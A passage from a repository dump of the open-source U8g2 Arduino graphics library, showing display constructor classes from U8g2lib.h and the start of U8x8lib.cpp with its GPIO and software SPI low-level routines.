U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_F_6800 : public U8G2 {\n  public: U8G2_GU800_160X16_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_F_8080 : public U8G2 {\n  public: U8G2_GU800_160X16_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1287AI_256X50_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1287AI_256X50_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GP1247AI_253X63_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GP1247AI_253X63_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\n\n/* Arduino constructor list end */\n\n#endif // U8X8_USE_PINS\n\nclass U8G2_BITMAP : public U8G2 {\n  public: U8G2_BITMAP(uint16_t pixel_width, uint16_t pixel_height, const u8g2_cb_t *rotation) {\n    u8g2_SetupBitmap(getU8g2(), rotation, pixel_width, pixel_height);\n  }\n\n  // This completely resets various settings, such as the\n  // font, so be sure to re-initialize things\n  void changeSize(uint16_t pixel_width, uint16_t pixel_height) {\n    u8g2_SetupBitmap(getU8g2(), getU8g2()->cb, pixel_width, pixel_height);\n  }\n};\n\n#endif /* _U8G2LIB_HH */\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/U8x8lib.cpp",
    "content": "/*\n\n  U8x8lib.cpp\n  \n  Arduino specific low level functions\n\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n\n#include \"U8x8lib.h\"\n\n#ifdef ARDUINO\n\n#ifdef U8X8_HAVE_HW_SPI\n#include <SPI.h>\n#endif \n\n#ifdef U8X8_HAVE_HW_I2C\n#  ifdef U8X8_HAVE_HW_I2C_TEENSY3\n#    include <i2c_t3.h>\n#  else\n#    include <Wire.h>\n#    ifdef U8X8_HAVE_2ND_HW_I2C\n#      if defined(MINICORE) && defined(__AVR_ATmega328PB__)\n#        include <Wire1.h>\n#      endif\n#    endif\n#  endif\n#endif /* U8X8_HAVE_HW_I2C */\n\n#endif /* ARDUINO */ \n\n\n\n/*=============================================*/\n\nsize_t U8X8::write(uint8_t v) \n{\n  if ( v == '\\n' )\n  {\n    uint8_t dy = u8x8_pgm_read(u8x8.font+3);\t\t/* new 2019 format */\n    ty+=dy;\n    tx=0;\n  }\n  else\n  {\n    uint8_t dx = u8x8_pgm_read(u8x8.font+2);\t\t/* new 2019 format */\n    u8x8_DrawGlyph(&u8x8, tx, ty, v);\n\n    tx+=dx;\n  }\n  return 1;\n}\n\n\n\n/*=============================================*/\n/*=== ARDUINO GPIO & DELAY ===*/\n\n#ifdef ARDUINO\n#ifdef U8X8_USE_PINS\nextern \"C\" uint8_t u8x8_gpio_and_delay_arduino(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n  uint8_t i;\n  switch(msg)\n  {\n    case U8X8_MSG_GPIO_AND_DELAY_INIT:\n    \n      for( i = 0; i < U8X8_PIN_CNT; i++ )\n\tif ( u8x8->pins[i] != U8X8_PIN_NONE )\n\t{\n\t  if ( i < U8X8_PIN_OUTPUT_CNT )\n\t  {\n\t    pinMode(u8x8->pins[i], OUTPUT);\n\t  }\n\t  else\n\t  {\n#ifdef INPUT_PULLUP\n\t    pinMode(u8x8->pins[i], INPUT_PULLUP);\n#else\n\t    pinMode(u8x8->pins[i], OUTPUT);\n\t    digitalWrite(u8x8->pins[i], 1);\n#endif \n\t  }\n\t}\n\t  \n      break;\n\n#ifndef __AVR__\t\n    /* this case is not compiled for any AVR, because AVR uC are so slow */\n    /* that this delay does not matter */\n    case U8X8_MSG_DELAY_NANO:\n      delayMicroseconds(arg_int==0?0:1);\n      break;\n#endif\n    \n    case U8X8_MSG_DELAY_10MICRO:\n      /* not used at the moment */\n      break;\n    \n    case U8X8_MSG_DELAY_100NANO:\n      /* not used at the moment */\n      break;\n   \n    case U8X8_MSG_DELAY_MILLI:\n      delay(arg_int);\n      break;\n    case U8X8_MSG_DELAY_I2C:\n      /* arg_int is 1 or 4: 100KHz (5us) or 400KHz (1.25us) */\n      delayMicroseconds(arg_int<=2?5:2);\n      break;\n    case U8X8_MSG_GPIO_I2C_CLOCK:\n    case U8X8_MSG_GPIO_I2C_DATA:\n      if ( arg_int == 0 )\n      {\n\tpinMode(u8x8_GetPinValue(u8x8, msg), OUTPUT);\n\tdigitalWrite(u8x8_GetPinValue(u8x8, msg), 0);\n      }\n      else\n      {\n#ifdef INPUT_PULLUP\n\tpinMode(u8x8_GetPinValue(u8x8, msg), INPUT_PULLUP);\n#else\n\tpinMode(u8x8_GetPinValue(u8x8, msg), OUTPUT);\n\tdigitalWrite(u8x8_GetPinValue(u8x8, msg), 1);\n#endif \n      }\n      break;\n    default:\n      if ( msg >= U8X8_MSG_GPIO(0) )\n      {\n\ti = u8x8_GetPinValue(u8x8, msg);\n\tif ( i != U8X8_PIN_NONE )\n\t{\n\t  if ( u8x8_GetPinIndex(u8x8, msg) < U8X8_PIN_OUTPUT_CNT )\n\t  {\n\t    digitalWrite(i, arg_int);\n\t  }\n\t  else\n\t  {\n\t    if ( u8x8_GetPinIndex(u8x8, msg) == U8X8_PIN_OUTPUT_CNT )\n\t    {\n\t      // call yield() for the first pin only, u8x8 will always request all the pins, so this should be ok\n\t      yield();\n\t    }\n\t    u8x8_SetGPIOResult(u8x8, digitalRead(i) == 0 ? 0 : 1);\n\t  }\n\t}\n\tbreak;\n      }\n      \n      return 0;\n  }\n  return 1;\n}\n#endif // U8X8_USE_PINS\n\n\n\n\n/*=============================================*/\n/*=== 3 WIRE SOFTWARE SPI ===*/\n\n/*\n  replacement for a more faster u8x8_byte_3wire_sw_spi\n  in general u8x8_byte_3wire_sw_spi could be a fallback:\n\n  uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n\n\n\n*/\n\n#ifndef __AVR_ARCH__\n#define __AVR_ARCH__ 0\n#endif \n\n#if !defined(U8X8_USE_PINS)\n  /* no pin information (very strange), so fallback */\n  uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n\n#elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103\n\n/* this function completely replaces u8x8_byte_4wire_sw_spi*/\nextern \"C\" uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i;\n  uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8);\n  uint16_t b;\n  uint8_t *data;\n\n  /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n  /* so, it should be possible to use multiple displays with different pins */\n  \n  static volatile uint8_t *arduino_clock_port;\n  \n  static uint8_t arduino_clock_mask;\n  static uint8_t arduino_clock_n_mask;\n  \n  static volatile uint8_t *arduino_data_port;\n  static uint8_t arduino_data_mask;\n  static uint8_t arduino_data_n_mask;\n\n  static uint8_t last_dc;\n\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n    \n      data = (uint8_t *)arg_ptr;      \n      if ( takeover_edge == 0 )\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  if ( last_dc != 0 )\n\t    b |= 256;\n\t  data++;\n\t  arg_int--;\n\t  /* issue 156, check for speed */\n#if F_CPU <= 17000000\n\t  if ( b == 0 )\n\t  {\n\t    *arduino_data_port &= arduino_data_n_mask;\n\t    for( i = 0; i < 9; i++ )\n\t    {\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t    }\n\t  }\n\t  else\n#endif\n\t  {\n\t    for( i = 0; i < 9; i++ )\n\t    {\n\t      if ( b & 256 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t      b <<= 1;\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t    }\n\t  }\n\t}\n      }\n      else\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  if ( last_dc != 0 )\n\t    b |= 256;\n\t  data++;\n\t  arg_int--;\n\t  /* issue 156, check for speed */\n#if F_CPU <= 17000000\n\t  if ( b == 0 )\n\t  {\n\t    *arduino_data_port &= arduino_data_n_mask;\n\t    for( i = 0; i < 9; i++ )\n\t    {\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t    }\n\t  }\n\t  else\n#endif\n\t  {\n\t    for( i = 0; i < 9; i++ )\n\t    {\n\t      if ( b & 256 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t      b <<= 1;\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t    }\n\t  }\n\t}\n      }      \n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8));\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      last_dc = arg_int;\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */\n    \n      arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK]));\n      arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]);\n      arduino_clock_n_mask = ~arduino_clock_mask;\n    \n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_DATA] */\n\n      arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA]));\n      arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]);\n      arduino_data_n_mask = ~arduino_data_mask;\n      \n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n#else\n  /* fallback */\n  uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n  \n#endif\n\n\n\n\n\n/*=============================================*/\n/*=== 4 WIRE SOFTWARE SPI ===*/\n\n/*\n  replacement for a more faster u8x8_byte_4wire_sw_spi\n  in general u8x8_byte_4wire_sw_spi could be a fallback:\n\n  uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n\n\n\n*/\n\n#ifndef __AVR_ARCH__\n#define __AVR_ARCH__ 0\n#endif \n\n#if !defined(U8X8_USE_PINS)\n  /* no pin information (very strange), so fallback */\n  uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n\n#elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103\n\n/* this function completely replaces u8x8_byte_4wire_sw_spi*/\nextern \"C\" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t SREG_backup;\n  uint8_t i, b;\n  uint8_t *data;\n  uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8);\n  //uint8_t not_takeover_edge = 1 - takeover_edge;\n\n  /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n  /* so, it should be possible to use multiple displays with different pins */\n  \n  static volatile uint8_t *arduino_clock_port;\n  \n  static uint8_t arduino_clock_mask;\n  static uint8_t arduino_clock_n_mask;\n  \n  static volatile uint8_t *arduino_data_port;\n  static uint8_t arduino_data_mask;\n  static uint8_t arduino_data_n_mask;\n\n\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n    \n      data = (uint8_t *)arg_ptr;      \n      if ( takeover_edge == 0 )\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  data++;\n\t  arg_int--;\n\t  SREG_backup = SREG; cli();\n\t  /* issue 156, check for speed */\n#if F_CPU <= 17000000\n\t  if ( b == 0 )\n\t  {\n\t    *arduino_data_port &= arduino_data_n_mask;\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t    }\n\t  }\n\t  else\n#endif\n\t  {\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      if ( b & 128 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t      b <<= 1;\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t    }\n\t  }\n\t  SREG = SREG_backup;\n\t}\n      }\n      else\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  data++;\n\t  arg_int--;\n\t  SREG_backup = SREG; cli();\n\t  /* issue 156, check for speed */\n#if F_CPU <= 17000000\n\t  if ( b == 0 )\n\t  {\n\t    *arduino_data_port &= arduino_data_n_mask;\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t    }\n\t  }\n\t  else\n#endif\n\t  {\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      if ( b & 128 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\n\t      *arduino_clock_port &= arduino_clock_n_mask;\n\t      b <<= 1;\n\t      *arduino_clock_port |= arduino_clock_mask;\t    \n\t    }\n\t  }\n\t  SREG = SREG_backup;\n\t}\n      }      \n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8));\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */\n    \n      arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK]));\n      arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]);\n      arduino_clock_n_mask = ~arduino_clock_mask;\n    \n      \n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_DATA] */\n\n      arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA]));\n      arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]);\n      arduino_data_n_mask = ~arduino_data_mask;\n      \n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, 